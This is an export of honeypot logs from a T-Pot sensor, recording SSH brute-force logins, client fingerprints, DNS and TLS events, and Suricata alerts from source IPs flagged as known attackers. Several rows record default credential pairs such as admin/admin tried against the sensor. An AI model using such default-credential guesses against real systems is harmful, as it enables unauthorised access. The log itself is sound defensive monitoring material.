20919	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:06.80781+03	2021-09-20 14:15:02.993612+03	{"_id": "6AXiAnwBvYTbRNuEcvoZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.success", "message": "login attempt [admin/admin] succeeded", "session": "4bebe31d8da4", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:06:06.807810Z", "@timestamp": "2021-09-20T11:06:06.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
20920	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:06.876694+03	2021-09-20 14:15:02.995612+03	{"_id": "6QXiAnwBvYTbRNuEcvoZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [console/console] failed", "session": "89aa45db4231", "@version": "1", "password": "console", "username": "console", "timestamp": "2021-09-20T11:06:06.876694Z", "@timestamp": "2021-09-20T11:06:06.876Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20921	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:06.984915+03	2021-09-20 14:15:02.996613+03	{"_id": "4QXiAnwBvYTbRNuEcvoY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5bd8d49653e9", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:06.984915Z", "@timestamp": "2021-09-20T11:06:06.984Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20922	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:05:57.156009+03	2021-09-20 14:15:02.997613+03	{"_id": "oAXiAnwBvYTbRNuETfrR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 64884, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 228745312297321, "@version": "1", "in_iface": "enp5s0", "src_port": 57562, "dest_port": 53, "timestamp": "2021-09-20T11:05:57.156009Z", "@timestamp": "2021-09-20T11:05:57.156Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20923	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:05:57.444667+03	2021-09-20 14:15:02.998613+03	{"_id": "nwXiAnwBvYTbRNuETfrR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 32428, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2289, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2135195395671121, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 60091, "timestamp": "2021-09-20T11:05:57.444667Z", "@timestamp": "2021-09-20T11:05:57.444Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20924	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:05:57.206528+03	2021-09-20 14:15:03.000612+03	{"_id": "oQXiAnwBvYTbRNuETvpo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34762, "dest_port": 443, "timestamp": "2021-09-20T11:05:57.206528", "@timestamp": "2021-09-20T11:05:57.206Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20925	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:05:57.247228+03	2021-09-20 14:15:03.001613+03	{"_id": "ogXiAnwBvYTbRNuETvpo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34762, "timestamp": "2021-09-20T11:05:57.247228", "@timestamp": "2021-09-20T11:05:57.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20926	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:05:57.496939+03	2021-09-20 14:15:03.002612+03	{"_id": "owXiAnwBvYTbRNuETvpo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34764, "dest_port": 443, "timestamp": "2021-09-20T11:05:57.496939", "@timestamp": "2021-09-20T11:05:57.496Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20927	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:05:57.539332+03	2021-09-20 14:15:03.003612+03	{"_id": "pAXiAnwBvYTbRNuETvpo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34764, "timestamp": "2021-09-20T11:05:57.539332", "@timestamp": "2021-09-20T11:05:57.539Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20928	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:05.851563+03	2021-09-20 14:15:03.004612+03	{"_id": "uQXiAnwBvYTbRNuEbfoV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1029007241744419, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52922, "dest_port": 22, "timestamp": "2021-09-20T11:06:05.851563Z", "@timestamp": "2021-09-20T11:06:05.851Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20929	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:05.759016+03	2021-09-20 14:15:03.005613+03	{"_id": "vQXiAnwBvYTbRNuEbfoW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:06:05.163893+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1790}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1145426625265717, "payload": "AAAI7AYUvd69mA5DzJvxby38rhO/UAAAAcpjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGN1cnZlNDQ4LXNoYTUxMixlY2RoLXNoYTItbmlzdHA1MjEsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItMS4zLjEzMi4wLjEwLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGExLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMjU2LGRpZmZpZS1oZWxsbWFuLWdyb3VwMTUtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTctc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMSxyc2EyMDQ4LXNoYTI1Nixyc2ExMDI0LXNoYTEsZXh0LWluZm8tYwAAAbVzc2gtZWQyNTUxOS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxzc2gtZWQ0NDgtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDUyMS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHAyNTYtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi0xLjMuMTMyLjAuMTAtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLXJzYS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxzc2gtZHNzLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1lZDI1NTE5LHNzaC1lZDQ0OCxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLTEuMy4xMzIuMC4xMCxyc2Etc2hhMi0yNTYscnNhLXNoYTItNTEyLHNzaC1yc2Esc3NoLWRzcwAAAM1jaGFjaGEyMC1wb2x5MTMwNUBvcGVuc3NoLmNvbSxhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMsYmxvd2Zpc2gtY2JjLGNhc3QxMjgtY2JjLGFyY2ZvdXIyNTYsYXJjZm91cjEyOCxhcmNmb3VyAAAAzWNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczI1Ni1nY21Ab3BlbnNzaC5jb20sYWVzMTI4LWdjbUBvcGVuc3NoLmNvbSxhZXMyNTYtY3RyLGFlczE5Mi1jdHIsYWVzMTI4LWN0cixhZXMyNTYtY2JjLGFlczE5Mi1jYmMsYWVzMTI4LWNiYywzZGVzLWNiYyxibG93ZmlzaC1jYmMsY2FzdDEyOC1jYmMsYXJjZm91cjI1NixhcmNmb3VyMTI4LGFyY2ZvdXIAAAGtdW1hYy02NC1ldG1Ab3BlbnNzaC5jb20sdW1hYy0xMjgtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGht", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42494, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:06:05.759016Z", "@timestamp": "2021-09-20T11:06:05.759Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........C...o-....P....curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c....ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss....chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour....chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hm"}}	1	\N	\N	alert	\N	\N
20930	190.201.223.33	109.199.241.180	Suricata	2021-09-20 14:05:49.444957+03	2021-09-20 14:15:03.007613+03	{"_id": "lQXiAnwBvYTbRNuELvqN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:05:48.841037+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 294}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "190.201.223.33", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 472070241441101, "payload": "U1NILTIuMC1saWJzc2hfMC45LjYNCg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44568, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:05:49.444957Z", "@timestamp": "2021-09-20T11:05:49.444Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh_0.9.6\\r\\n"}}	1	\N	\N	alert	known attacker	\N
20931	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:05:49.445467+03	2021-09-20 14:15:03.008613+03	{"_id": "lgXiAnwBvYTbRNuEL_pb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "fd0175c8ad67", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:05:49.445467Z", "@timestamp": "2021-09-20T11:05:49.445Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20932	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:05:50.079687+03	2021-09-20 14:15:03.009613+03	{"_id": "mAXiAnwBvYTbRNuEM_pE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "fd0175c8ad67", "@version": "1", "timestamp": "2021-09-20T11:05:50.079687Z", "@timestamp": "2021-09-20T11:05:50.079Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20933	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:05:57.157213+03	2021-09-20 14:15:03.010644+03	{"_id": "nQXiAnwBvYTbRNuETfrR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 64884, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2289, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 228745312297321, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 57562, "timestamp": "2021-09-20T11:05:57.157213Z", "@timestamp": "2021-09-20T11:05:57.157Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20934	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:06:04.912028+03	2021-09-20 14:15:03.012644+03	{"_id": "swXiAnwBvYTbRNuEavpF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:39972 (192.168.176.2:22) [session: 5a2c163580eb]", "session": "5a2c163580eb", "@version": "1", "protocol": "ssh", "src_port": 39972, "dest_port": 22, "timestamp": "2021-09-20T11:06:04.912028Z", "@timestamp": "2021-09-20T11:06:04.912Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
